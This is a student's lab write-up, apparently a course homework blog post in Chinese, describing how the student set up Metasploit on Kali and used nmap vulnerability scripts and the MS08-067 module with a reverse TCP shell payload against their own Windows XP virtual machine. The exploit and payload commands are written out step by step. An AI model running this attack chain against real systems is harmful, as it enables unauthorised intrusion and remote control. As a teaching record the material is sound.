20179203 《Linux内核原理与分析》第十一周作业

一、环境的使用和搭建

首先我的攻击机和靶机都搭建在虚拟机上,选用的是VMware Workstation Pro虚拟机。
攻击机选用的是Linux kali 2017.2版本,而靶机安装的是XP sp3纯净版。
在这里安装虚拟机的时候要注意网络适配器的网络连接方式选用NAT 连接。

二、Metaspoit的安装

当然在此之前要先更新好kaili的源地址,在这里就不介绍这个相关过程了。

由于kali 2.0 已经没有metasploit 这个服务了,所以service metasploit start 的方式不起作用。
在kali 2.0中启动带数据库支持的MSF方式如下:
1 首先启动postgresql数据库:
/etc/init.d/postgresql start;或者 service postgresql start;
2 初始化MSF数据库(关键步骤!):msfdb init;(如不能初始化,就用msfdb reinit试试吧!默认创建的数据库名:msf,msf_test;用户名:msf;口令默认为空)
3 运行msfconsole:msfconsole;
4 在msf中查看数据库连接状态:db_status。
5更新metasploit:msfupdate
6设置启动 自动启动msf和postgresql:
update-rc.d postgresql enable

看到这样的画面代表安装成功!

三、找到靶机中相应的漏洞

1.互ping联通

首先要确定的是攻击机和靶机处于同一网段下,当然如果没有特别设定一般都处于同一网段。
确定靶机和攻击机IP地址的方法:
Linux在shell中输入ifconfig

这里可以看到我的kali的IP地址为:192.168.80.129
XP系统则是打开cmd,然后输入ipconfig

这里可以看到我的XP的IP地址为:192.168.80.131
可以看到两台主机处于同一网段下,接着进行两台主机之间的互ping,确定两台主机连通。


可以看到两机成功联通。

2.靶机的制作

我也不知道起这个标题合不合理,因为我没有找到一个真正的靶机,我安装的就是普通的纯净版的XP,因此不太清楚真正的靶机是什么样子的,但是通过接下来对于metaspoit攻击的了解,我发现它的攻击基本基于靶机的开放端口进行,如果靶机防火墙打开,端口关闭好像很难进行攻击(当然这只是基于我目前的了解来看,可能存在问题),因此我就对我的靶机进行了如下操作:
1.首先,关闭了靶机的防火墙。
2.接着打开靶机需要打开的端口,在这里我所做的测试是基于23端口进行的,23端口是telent端口。
3.打开控制面板,找到管理工具,打开服务选项,找到相应端口进行开启即可。

4.接着打开cmd,输入netstat -a -n查看所有打开的端口,可以看到23端口成功打开

5.回到kaili使用nmap对靶机进行扫描确定其开启的端口能否扫描到

确定23端口打开接着就可以通过metaspoit攻击。

四、metaspoit攻击靶机

进行扫描Telnet服务。具体操作步骤如下所示:
(1)启动MSF终端。
(2)使用telnet_version模块,并查看可配置的选项参数。

(3)配置RHOSTS选项,并启动扫描。
在这里说明一下RHOSTS是靶机的IP地址,首次启动时上图这个选项应为no,我之前进行过测试所以显示yes

可以看到显示的信息,成功连接目标靶机。

五、漏洞的检测

       首先说明一点本次实验当中使用的攻击机与靶机操作系统与上篇中相同。
       本次做的渗透攻击测试是基于xp系统漏洞的攻击,因此首要的步骤是进行漏洞扫描,这里我选用的工具是nmap对靶机进行漏洞扫描,最开始我找到的漏洞扫描语句是:nmap -sS -sV -O --script=smb-check-vulns.nse -n XP IP。但是当我进行扫描之后报错:/usr/bin/../share/nmap/nse_main.lua:801: ‘smb-check-vulns.nse’ did not match a category, filename, or directory。这是因为从NMAP 6.49beta6开始,smb-check-vulns.nse脚本被取消了。它被分为smb-vuln-conficker、?smb-vuln-cve2009-3103、smb-vuln-ms06-025、smb-vuln-ms07-029、smb-vuln-regsvc-dos、smb-vuln-ms08-067这六个脚本。用户根据需要选择对应的脚本。如果不确定执行哪一个,可以使用smb-vuln-*.nse来指定所有的脚本文件,进行全扫描。所以我使用的语句为:nmap -v -p139,445 --script=smb-vuln-*.nse --script-args=unsafe=1 XP IP -Pn。大家可以根据自己相应的nmap版本确定自己需要执行的指令。

扫描结果如下图所示:


从上图中可以看到当前的windows中存在两个安全漏洞分别是MS08-067和MS7-010,本次实验主要针对MS08-067进行漏洞的破解研究。

六、漏洞攻击

1.知道漏洞名称之后首先需要了解应该启动什么模块才能对相应的漏洞进行攻击,因此打开msfconsole进行相关搜索,通过search ms08_067语句,会显示出找到的渗透模块,如下图所示:

2.按提示输入命令use exploit/windows/smb/ms08_067_netapi,进入该漏洞模块的使用。
3.接着输入命令show payload会显示出有效的攻击载荷,如下图所示,我们找到一个shell_reverse_tcp。

4.使用命令set payload generic/shell_reverse_tcp设置攻击有效载荷。
5.使用命令”set LHOST "kali Ip" “set RHOST "Win xp Ip"分别设置攻击机IP与靶机IP地址

6.接着通过命令show options查看payload状态是否正确

可以看到所有的内容全部正确设置
7.最后通过exploit命令完成呢

可以看到攻击之后成功的打开了靶机的shell命令行,并且通过ipconfig命令,进一步确定攻击成功,ip地址就是对应靶机的IP地址。

七、实验总结

     本次使用Metasploit进行了两类的渗透攻击测试,分别是基于打开端口的攻击和基于系统漏洞的攻击,端口的攻击虽然没有完全的完成攻击但是还是做到了连接,而漏洞攻击则是成功的实现了攻击。Metasploit的攻击主要还是基于系统端口的,即使是漏洞攻击也需要用到445端口才能实现对漏洞的攻击,而nmap真的是一个非常重要的工具,通过它可以确定靶机开启的端口。不过通过几次攻击扫描的实验也让我有了一个怀疑,因为无论是基于端口还是基于漏洞的攻击都需要靶机的防火墙关闭才行,感觉实际意义有点低,毕竟像靶机这样不设防的计算机基本是不存在的,所以希望通过接下来的学习可以了解到更好的渗透攻击技术。
posted @ 2017-12-10 23:34  20179203李鹏举  阅读(368)  评论(1编辑  收藏  举报